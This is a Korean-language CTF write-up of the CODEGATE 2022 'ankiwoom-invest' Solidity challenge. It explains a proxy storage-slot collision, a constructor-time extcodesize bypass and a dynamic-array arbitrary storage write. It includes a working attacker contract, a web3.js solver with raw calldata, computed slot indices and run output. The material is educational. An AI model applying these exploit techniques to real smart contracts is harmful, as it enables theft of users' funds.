# CODEGATE 2022 Preliminary - ankiwoom-invest >###### tags: `blockchain` >[name=whysw@PLUS] Participated as `whysw@MINUS` in this CTF. ## Attachments - problem - [Investment.sol](https://gist.github.com/YangSeungWon/1399ae85fa5e7c0f9bb9ecd8081cb130#file-investment-sol) - [Proxy.sol](https://gist.github.com/YangSeungWon/1399ae85fa5e7c0f9bb9ecd8081cb130#file-proxy-sol) - writeup - [Sol.sol](https://gist.github.com/YangSeungWon/1399ae85fa5e7c0f9bb9ecd8081cb130#file-sol-sol) - [sol.js](https://gist.github.com/YangSeungWon/1399ae85fa5e7c0f9bb9ecd8081cb130#file-sol-js) Attachments are uploaded on [gist](https://gist.github.com/YangSeungWon/1399ae85fa5e7c0f9bb9ecd8081cb130). ## Challenge 블록체인 카테고리가 있길래 놀랐는데, 진짜 스마트 컨트랙트 문제가 나왔습니다. ``` What do you think about if stock-exchange server is running on blockchain? Can you buy codegate stock? service: nc 13.125.194.44 20000 rpc: http://13.125.194.44:8545 faucet: http://13.125.194.44:8080 ``` 프라이빗 네트워크이긴 하지만, 특정 event를 emit하면 flag를 준다는 점은 타 문제들과 같습니다. ```solidity:Investment.sol=112 function isSolved() public isInited { if (_total_stocks[keccak256("codegate")] == 0) { emit solved(msg.sender); address payable addr = payable(address(0)); selfdestruct(addr); } } ``` codegate 주식이 1개 발행되어 있는데, 그것을 사면 됩니다. ## Failed Tries ### Overflow [Investment.sol](https://gist.github.com/YangSeungWon/1399ae85fa5e7c0f9bb9ecd8081cb130#file-investment-sol)에서 SafeMath.sol을 import하고 있는데, 가격을 계산할 때만 사용하고 다른 더하거나 빼는 부분에서는 사용하지 않고 있습니다. ```solidity:Investment.sol=55 require(_balances[msg.sender] >= amount); _balances[msg.sender] -= amount; ``` ```solidity:Investment.sol=66 require(_stocks[msg.sender][stockName] >= _amountOfStock); _balances[msg.sender] += amount; _stocks[msg.sender][stockName] -= _amountOfStock; ``` ```solidity:Investment.sol=75 require(isUser(msg.sender) && _stocks[msg.sender][stockName] >= _amountOfStock); _stocks[msg.sender][stockName] -= _amountOfStock; ``` 하지만 세 부분 모두 음수로 넘어가지 않도록 체크를 잘 하고 있는 모습입니다. 그리고 사실 의미가 없는 것이, Solidity 0.8 버전에서는 SafeMath 기능을 내장하게 되었습니다. 단순히 `-`, `+` 연산자만 사용하더라도 자동으로 Overflow를 감지하여 revert한다고 합니다. 문제에서는 `0.8.11`버전을 사용하고 있어 안전합니다. ### Logical Bug - 사고파는 과정에서 amount가 잘못 계산될 가능성 ```solidity:Investment.sol=46 fee = 5; denominator = 1e4; ``` ```solidity:Investment.sol=54 uint amount = _reg_stocks[stockName].mul(_amountOfStock).mul(denominator + fee).div(denominator); ``` ```solidity:Investment.sol=65 uint amount = _reg_stocks[stockName].mul(_amountOfStock).mul(denominator).div(denominator + fee); ``` 나누기가 가장 마지막에 동작하기 때문에, 수수료가 0원이 될 수는 있지만 싸게 사서 비싸게 팔 수는 없습니다. ### Reentrancy ```solidity:Investment.sol=72 function donateStock(address _to, string memory _stockName, uint _amountOfStock) public isInited { bytes32 stockName = keccak256(abi.encodePacked(_stockName)); require(_amountOfStock > 0); require(isUser(msg.sender) && _stocks[msg.sender][stockName] >= _amountOfStock); _stocks[msg.sender][stockName] -= _amountOfStock; (bool success, bytes memory result) = msg.sender.call(abi.encodeWithSignature("receiveStock(address,bytes32,uint256)", _to, stockName, _amountOfStock)); require(success); lastDonater = msg.sender; donaters.push(lastDonater); } ``` `msg.sender.call()` 이 불리는데, 이 지점에서 Reentrancy가 가능합니다. Malicious Contract에서 이 `donateStock()` 함수를 부르면, 같은 Contract에서 `receiveStock(address,bytes32,uint256)` 함수를 통해 실행 흐름을 넘겨받을 수 있습니다. #### isUser(msg.sender) 체크 그러나 `isUser(msg.sender)`를 체크하는 루틴이 상단에 존재합니다. ```solidity:Investment.sol=98 function isUser(address _user) internal returns (bool) { uint size; assembly { size := extcodesize(_user) } return size == 0; } ``` `extcodesize()`를 address에 대해 수행하는데, 대상이 체인에 올라간 Contract인 경우에 extcodesize가 잡히면서 Contract임이 들키게 됩니다. 하지만 Contract의 Constructor가 실행되는 타이밍에는 아직 체인에 올라간 상태가 아니기 때문에, 아직 `extcodesize()`가 0으로 잡힙니다. 따라서 Contract임에도 `isUser()`가 ᅟTrue가 되게 할 수 있습니다. #### However ```solidity:Investment.sol=76 _stocks[msg.sender][stockName] -= _amountOfStock; (bool success, bytes memory result) = msg.sender.call(abi.encodeWithSignature("receiveStock(address,bytes32,uint256)", _to, stockName, _amountOfStock)); ``` 하지만 희망이 사라지는 부분은 내 주식 숫자를 줄이는 부분이 `call()`보다 앞에 존재한다는 것입니다. 이러면 재진입을 하더라도 이미 내 주식이 줄어들어 있는 상태기 때문에 의미가 없습니다. 추가적으로 단순하게 `-`로 적혀있기는 하지만 상술한 바와 같이 Overflow 방어가 걸려있는 상태이기 때문에, 이 두 줄의 순서가 바뀌더라도 Reentrancy Attack은 불가능합니다. (내 주식 개수를 넘어가는 요청은 모두 Overflow가 발생하면서 revert될 것) ## Solution ### Dynamic Array 일단 storage에 값이 어떻게 저장되는지부터 보겠습니다. Key-Value 방식으로 저장이 되는데, 그 주소는 hashed key 입니다. key, value, address 모두 32바이트(256비트)입니다. ![](https://i.imgur.com/7gGzT8W.png) ```solidity:Investment.sol=8 contract Investment { address private implementation; address private owner; address[] public donaters; …… ``` Contract에서 쓰이는 State variable들도 Storage에 저장되는데요, 위에서부터 SLOT을 하나씩 부여받습니다. `implementation`은 SLOT0에 배정이 되어 key가 0이 되고, `owner`는 SLOT1에 배정이 되어 key가 1이 됩니다. dynamic array인 `donaters`도 SLOT2에 배정이 되어 key가 2가 됩니다. key 2에 대해서 저장되는 값은 `donaters` 배열의 길이입니다. ![](https://i.imgur.com/oAJL7vt.png) 배열의 원소에 접근할 때는, `(key인 2를 해시한 값) + index`를 key로 가집니다. 따라서 해당 원소의 주소는 `(key인 2를 해시한 값) + index`를 한번 더 해시한 값이 됩니다. 그런데 만약 2^256 길이의 dynamic array가 있다면 어떻게 될까요? `key인 2를 해시한 값`을 시작으로 하는 dynamic array가 EVM의 전체 storage를 덮어버립니다. 이는 Dynamic array에 접근이 가능하다면 Storage 값에 대해 Arbitrary read가, 수정까지 가능하다면 Arbitrary write까지 가능해지는 결과를 낳습니다. 그렇다면 `donaters`에 대해 뭔가 수행하는 부분을 살펴보도록 하겠습니다. ```solidity:Investment.sol=72 function donateStock(address _to, string memory _stockName, uint _amountOfStock) public isInited { bytes32 stockName = keccak256(abi.encodePacked(_stockName)); require(_amountOfStock > 0); require(isUser(msg.sender) && _stocks[msg.sender][stockName] >= _amountOfStock); _stocks[msg.sender][stockName] -= _amountOfStock; (bool success, bytes memory result) = msg.sender.call(abi.encodeWithSignature("receiveStock(address,bytes32,uint256)", _to, stockName, _amountOfStock)); require(success); lastDonater = msg.sender; donaters.push(lastDonater); } ``` ```solidity:Investment.sol=83 function isInvalidDonaters(uint index) internal returns (bool) { require(donaters.length > index); if (!isUser(lastDonater)) { return true; } else { return false; } } ``` ```solidity:Investment.sol=93 function modifyDonater(uint index) public isInited { require(isInvalidDonaters(index)); donaters[index] = msg.sender; } ``` 상황이 좋지 않습니다. 배열의 길이를 늘리는 방법은 `donaters.push(lastDonater);`밖에 없기에, 2^256 길이의 배열을 만들기 위해서는 2^254개의 컨트랙트를 만들어 작업(mint()로 300원을 받고 amd주식을 4개 사서 4번 donate)해야 합니다. 그래도 이 방향이 맞기는 한 것 같습니다. 왜냐하면 `donateStock()`에서 이미 `isUser()`를 통과한 상태이기 때문에 `lastDonater`는 분명히 valid user일텐데, `modifyDonater()`가 동작하기 위해서는 `lastDonater`가 contract여야 하기 때문입니다. `donateStock()`에는 Constructor에서 접근하고, 나중에 그 Contract가 체인에 올라가고 나서 접근하면 `lastDonater`가 contract(invalid user)가 되어 있는 그림이 그려집니다. --- ### Proxy [Proxy.sol](https://gist.github.com/YangSeungWon/1399ae85fa5e7c0f9bb9ecd8081cb130#file-proxy-sol)을 봐야할 것 같습니다. ```solidity:Proxy.sol= // SPDX-License-Identifier: MIT pragma solidity 0.8.11; contract Proxy { address implementation; address owner; struct log { bytes12 time; address sender; } log info; constructor(address _target) { owner = msg.sender; implementation = _target; } function setImplementation(address _target) public { require(msg.sender == owner); implementation = _target; } function _delegate(address _target) internal { assembly { calldatacopy(0, 0, calldatasize()) let result := delegatecall(gas(), _target, 0, calldatasize(), 0, 0) returndatacopy(0, 0, returndatasize()) switch result case 0 { revert(0, returndatasize()) } default { return(0, returndatasize()) } } } function _implementation() internal view returns (address) { return implementation; } function _fallback() internal { _beforeFallback(); _delegate(_implementation()); } fallback() external payable { _fallback(); } receive() external payable { _fallback(); } function _beforeFallback() internal { info.time = bytes12(uint96(block.timestamp)); info.sender = msg.sender; } } ``` 동작을 간단히 정리하자면 다음과 같습니다. 1. Proxy는 `implementation`의 값으로 다른 Contract를 가집니다. 2. `fallback()`이나 `receive()`가 불리면 a. `block.timestamp`와 `msg.sender`를 저장합니다. b. `calldata`를 이용해 대상 Contract에게 `delegateCall()`합니다. c. `delegateCall()`의 결과를 받아옵니다. 이름처럼 정말 proxy의 역할을 하고 있습니다. Proxy에 대고 `init()`을 호출하면, 그런 함수(정확히는 같은 시그니처를 가진)가 없기 때문에 `fallback()`이 호출될 것입니다. 그러면 `delegateCall()`은 `implementation` contract에 대해 `init()`을 다시 호출합니다. --- nc 접속했을 때 deploy해주는 contract가 Proxy가 맞는지는 해당 주소에 올라가 있는 contract의 code를 뜯어서 확인해볼 수 있습니다. ```bash $ curl -X POST -H "Content-Type: application/json" 13.125.194.44:8545 --data '{"jsonrpc":"2.0","method":"eth_getCode","params":["REDACTED", "latest"],"id":1}' ``` 추가적으로 SLOT0에 있는 값을 확인하여, 해당 Proxy가 가지고 있는 `implementation`을 확인할 수 있고, 나아가 그것이 Investment가 맞음을 확인할 수 있습니다. ```bash $ curl -X POST -H "Content-Type: application/json" 13.125.194.44:8545 --data '{"jsonrpc":"2.0","method":"eth_getStorageAt","params":["REDACTED", "0x0", "latest"],"id":1}' ``` 그런데 이런 쓸모도 없는 Proxy가 왜 달려 있을까요? --- ### delegateCall > There exists a special variant of a message call, named delegatecall which is identical to a message call apart from the fact that the code at the target address is executed in the context of the calling contract and msg.sender and msg.value do not change their values. > > This means that a contract can dynamically load code from a different address at runtime. Storage, current address and balance still refer to the calling contract, only the code is taken from the called address. https://docs.soliditylang.org/en/v0.8.12/introduction-to-smart-contracts.html?highlight=delegateCall#delegatecall-callcode-and-libraries 위에서 본 `call()`은 현재 실행되고 있는 contract가 주체가 되어 다른 contract로 요청을 보냅니다. 하지만 `delegateCall()`은 현재 contract의 상태를 유지하면서 다른 contract의 코드만을 실행합니다. 현재 상태에 대입해보면, Proxy contract가 `delegateCall()`를 쓰면 Proxy contract의 storage 상태를 기반으로 Investment contract의 함수가 불릴 것입니다. 이것을 기억하면서 Proxy와 Investment의 ᅟState variables를 비교해보면..!! ```solidity:Proxy.sol=6 contract Proxy { address implementation; address owner; struct log { bytes12 time; address sender; } log info; ``` ```solidity:Investment.sol=8 contract Investment { address private implementation; address private owner; address[] public donaters; ``` 딱 원하던 곳, dynamic array `donaters`의 길이가 저장되어 있는 SLOT2에 `struct log`가 저장되는 것을 알 수 있습니다. bytes12가 12바이트, address가 20바이트이니 딱 SLOT2를 채우게 됩니다. 사실 Investment.sol에 쓰지도 않는 `implementation`과 `owner`가 있는 것을 보고 눈치를 챘어야 했겠네요. ### Exploit 그래서 나오는 최종 익스 플랜은, ```md 1. Contract 하나를 만들어서 Proxy에 접근 a. init() b. mint() c. buyStock("amd", 4) // 회사명과 수량 아무거나 d. donateStock(address(this), "amd", 1) // 주소, 회사명과 수량 아무거나 결과: `lastDonater`: 1에서 만든 Contract, 이제는 valid user 아님. 2. mint() 3. buyStock("amd", 4) // 조작할 회사, 수량은 2 이상으로 4. modifyDonater(`0xcf6b5fc1742ea4c4dc1a090ac41301d94ee9e46de14bb0fdc28d4b8be624e9d8`) // codegate의 가격 조작 5. modifyDonater(`0x0627297c87a7ff96d6a3185d762f281aaf5c0efcfcfcc69db29ecb78e448bb37`) // amd의 가격 조작 6. sellStock("amd", 4) 7. buyStock("codegate", 1) 8. isSolved() ``` 가격을 덮어씌울 때 쓰는 index 값은 dynamic array가 시작하는 SLOT2의 주소값(`0x405787fa12a823e0f2b7631cc41b3ba8828b3321ca811111fa75cd3aa3bb5ace`)을 기준으로 구합니다. ``` codegate 0x233232af672f5f1aec5aa2de748da4122c59e74faa385262f32ac5a44f060f5f: Object key: 0x0fc2e7bb86d6c8a5ced16c27882e3d81d175178fabccc20fbd0318c689e044a6 value: 0x085bec12b4b9a40d8f483cb1c71c71c7 ``` ``` amd 0x7f9580bb2e402da609782f512a26ac511100385adb6a8523baea91bbb2227775: Object key: 0x467eb1769a502377c95a7b7a3a4a63c331e7421ec77dd7afad1498b388041605 value: 0x4a ``` key값이 `SLOT2의 주소값 + index`이니 index는 `SLOT2의 주소값 - key값`입니다. ```python >>> '0x{0:0{1}x}'.format(0x10fc2e7bb86d6c8a5ced16c27882e3d81d175178fabccc20fbd0318c689e044a6 - 0x405787fa12a823e0f2b7631cc41b3ba8828b3321ca811111fa75cd3aa3bb5ace, 64) '0xcf6b5fc1742ea4c4dc1a090ac41301d94ee9e46de14bb0fdc28d4b8be624e9d8' >>> '0x{0:0{1}x}'.format(0x467eb1769a502377c95a7b7a3a4a63c331e7421ec77dd7afad1498b388041605 - 0x405787fa12a823e0f2b7631cc41b3ba8828b3321ca811111fa75cd3aa3bb5ace, 64) '0x0627297c87a7ff96d6a3185d762f281aaf5c0efcfcfcc69db29ecb78e448bb37' ``` --- 평소에 ropsten testnet 쓰던 문제들은 [remix](http://remix.ethereum.org/)와 metamask 조합으로 풀었어서, 이번 문제의 경우에도 프라이빗 네트워크긴 하지만 똑같이 RPC 서버를 등록해서 풀려고 시도했습니다. 그런데 metamask가 동작하지 않아서 티켓을 날렸더니 JSON RPC가 제한되어 있어서 그럴 수 있다는 답을 받았습니다. ```json var whitelist = [ "eth_blockNumber", "eth_call", "eth_chainId", "eth_estimateGas", "eth_gasPrice", "eth_getBalance", "eth_getCode", "eth_getStorageAt", "eth_getTransactionByHash", "eth_getTransactionCount", "eth_getTransactionReceipt", "eth_sendRawTransaction", "net_version", "rpc_modules", "web3_clientVersion" ]; ``` https://github.com/chainflag/ctf-eth-env/blob/78cf308b3579ff2a9849dc12adabbcc98da7b6c1/docker/rpcproxy/njs/eth-jsonrpc-access.js 정말 피도 눈물도 없게 막혀 있었는데요, 특히 signTransaction이 없어서 `web3.eth.accounts.signTransaction`이 안되고, 로컬에서 sign을 해서 보내야 했습니다. 그런데 chainId를 잘 설정을 못해줘서 invalid sender 오류가 떴고, 결국 `const common = Common.custom({ chainId: 0x746 })`으로 [해결](https://www.npmjs.com/package/@ethereumjs/common#:~:text=Common.custom)했습니다. --- 최종 솔버 `.env` ```json:.env # .env API_URL = "http://13.125.194.44:8545" PRIVATE_KEY = "REDACTED" ADDRESS = "REDACTED" ``` `Sol.sol` ```solidity:Sol.sol= // SPDX-License-Identifier: MIT pragma solidity >=0.8.11; contract Sol { address public proxy; string public targetStock; constructor (address _proxy) { proxy = _proxy; setTargetStock("amd"); init(); mint(); buyStock(4); donateStock(1); } function setTargetStock(string memory name) public { targetStock = name; } function init() public { (bool success, bytes memory result) = proxy.call(abi.encodeWithSignature("init()")); require(success); } function buyStock(uint amount) public { (bool success, bytes memory result) = proxy.call(abi.encodeWithSignature("buyStock(string,uint256)", targetStock, amount)); require(success); } function sellStock(uint amount) public { (bool success, bytes memory result) = proxy.call(abi.encodeWithSignature("sellStock(string,uint256)", targetStock, amount)); require(success); } function donateStock(uint amount) public { (bool success, bytes memory result) = proxy.call(abi.encodeWithSignature("donateStock(address,string,uint256)", address(this), targetStock, amount)); require(success); } function modifyDonater(uint index) public { (bool success, bytes memory result) = proxy.call(abi.encodeWithSignature("modifyDonater(uint256)", index)); require(success); } function mint() public { (bool success, bytes memory result) = proxy.call(abi.encodeWithSignature("mint()")); require(success); } function receiveStock(address _to, bytes32 _stockName, uint256 _amountOfStock) public returns (bytes32) { // msg.sender.call(abi.encodeWithSignature("donateStock(address,string,uint256)", _to, targetStock, _amountOfStock)); return keccak256("apple"); } function giveMeName(string memory foo) public returns (bytes memory) { return abi.encodeWithSignature(foo); } function testApple() public returns (bytes32) { return keccak256("apple"); } } ``` `Sol.sol`로부터 `solc`를 이용해 `Sol.abi`와 `Sol.bin`을 만들었습니다. `sol.js` ```python:sol.js= const fs = require('fs') const Common = require('@ethereumjs/common').default const Transaction = require('@ethereumjs/tx').Transaction const Web3 = require('web3'); require('dotenv').config(); const { ADDRESS, API_URL, PRIVATE_KEY } = process.env; const web3 = new Web3(API_URL); const common = Common.custom({ chainId: 0x746 }) const Contract = "REDACTED" async function main() { // 1. deploy the contract who will become invalid last donater console.log("[+] deploying contract…"); await deploy("Sol", [Contract]); // 2. mint console.log("[+] taking base money…"); await send("0x1249c58b") // mint // 3. buy cheap stocks console.log("[+] buying 4 amd stock…"); await send("0x705c0f4f000000000000000000000000000000000000000000000000000000000000004000000000000000000000000000000000000000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000003616d640000000000000000000000000000000000000000000000000000000000") //buy amd 4 // 4. overwrite prices console.log("[+] overwriting codegate stock price…"); await send("0x9bceca6ccf6b5fc1742ea4c4dc1a090ac41301d94ee9e46de14bb0fdc28d4b8be624e9d8") // overwrite codegate price // 4-1, should also await, because of nonce problem console.log("[+] overwriting amd stock price…"); await send("0x9bceca6c0627297c87a7ff96d6a3185d762f281aaf5c0efcfcfcc69db29ecb78e448bb37") // overwrite amd price // 5. sell previously bought stocks console.log("[+] selling 3 amd stock…"); await send("0x9c15a104000000000000000000000000000000000000000000000000000000000000004000000000000000000000000000000000000000000000000000000000000000030000000000000000000000000000000000000000000000000000000000000003616d640000000000000000000000000000000000000000000000000000000000") //sell amd 3 // 6. buy codegate stock console.log("[+] buying 1 codegate stock…"); await send('0x705c0f4f000000000000000000000000000000000000000000000000000000000000004000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000008636f646567617465000000000000000000000000000000000000000000000000') //buy codegate 1 // 7. confirm solved console.log("[+] checking whether I deserve flag…"); await send('0x64d98f6e') // isSolved console.log("[!] copy and paste TX hash above"); } async function deploy(contractName, contractArgs) { let abi = fs.readFileSync(contractName + ".abi").toString(); let bin = fs.readFileSync(contractName + ".bin").toString(); let contract = new web3.eth.Contract(JSON.parse(abi)); await _deploy(contract.deploy({ data: "0x" + bin, arguments: contractArgs })); } async function _deploy(transaction) { let nonce = await web3.eth.getTransactionCount(ADDRESS, 'latest'); let txParams = { nonce: nonce, gasPrice: 60000, gasLimit: '0x271000', to: transaction._parent._address, value: '0x00', data: transaction.encodeABI(), chainId: '0x746' } await _send(txParams); } async function send(data) { let nonce = await web3.eth.getTransactionCount(ADDRESS, 'latest'); let txParams = { nonce: nonce, gasPrice: 60000, gasLimit: '0x271000', to: Contract, value: '0x00', data: data, chainId: '0x746' } await _send(txParams); } async function _send(txParams) { const tx = Transaction.fromTxData(txParams, { common }) const privateKey = Buffer.from(PRIVATE_KEY, 'hex') const signedTx = tx.sign(privateKey) const serializedTx = signedTx.serialize() let rawTxHex = '0x' + serializedTx.toString('hex'); let error, transaction = await web3.eth.sendSignedTransaction(rawTxHex) if (error) { console.log("❗Something went wrong while submitting your transaction:", error); throw new Error(error); } console.log("🎉 The hash of your transaction is: ", transaction.transactionHash); } main() ``` ```bash $ node sol.js [+] deploying contract… 🎉 The hash of your transaction is: REDACTED [+] taking base money… 🎉 The hash of your transaction is: REDACTED [+] buying 4 amd stock… 🎉 The hash of your transaction is: REDACTED [+] overwriting codegate stock price… 🎉 The hash of your transaction is: REDACTED [+] overwriting amd stock price… 🎉 The hash of your transaction is: REDACTED [+] selling 3 amd stock… 🎉 The hash of your transaction is: REDACTED [+] buying 1 codegate stock… 🎉 The hash of your transaction is: REDACTED [+] checking whether I deserve flag… 🎉 The hash of your transaction is: REDACTED [!] copy and paste TX hash above ``` 토큰과 마지막 TX hash를 넣으면 flag가 나옵니다. ## 후기 dynamic array로 overwrite하는 건 바로 생각을 했는데, Proxy의 존재 의의를 늦게 알아챘습니다. 당연히 익스에 필요하니까 달려있는 거일텐데… remix랑 metamask가 막히니까 web3py로 갔는데, sign 로컬에서 해주는 부분이랑 chainId가 다른 부분에서 막혀서 web3js로 갔고, 거기서도 바로 해결책을 찾아내지 못해서 시간을 좀 많이 끌렸습니다. 시간 내에 풀었으면 정말 좋았겠지만 그러지 못했기에 이렇게 분노의 writeup이라도 남겨봅니다.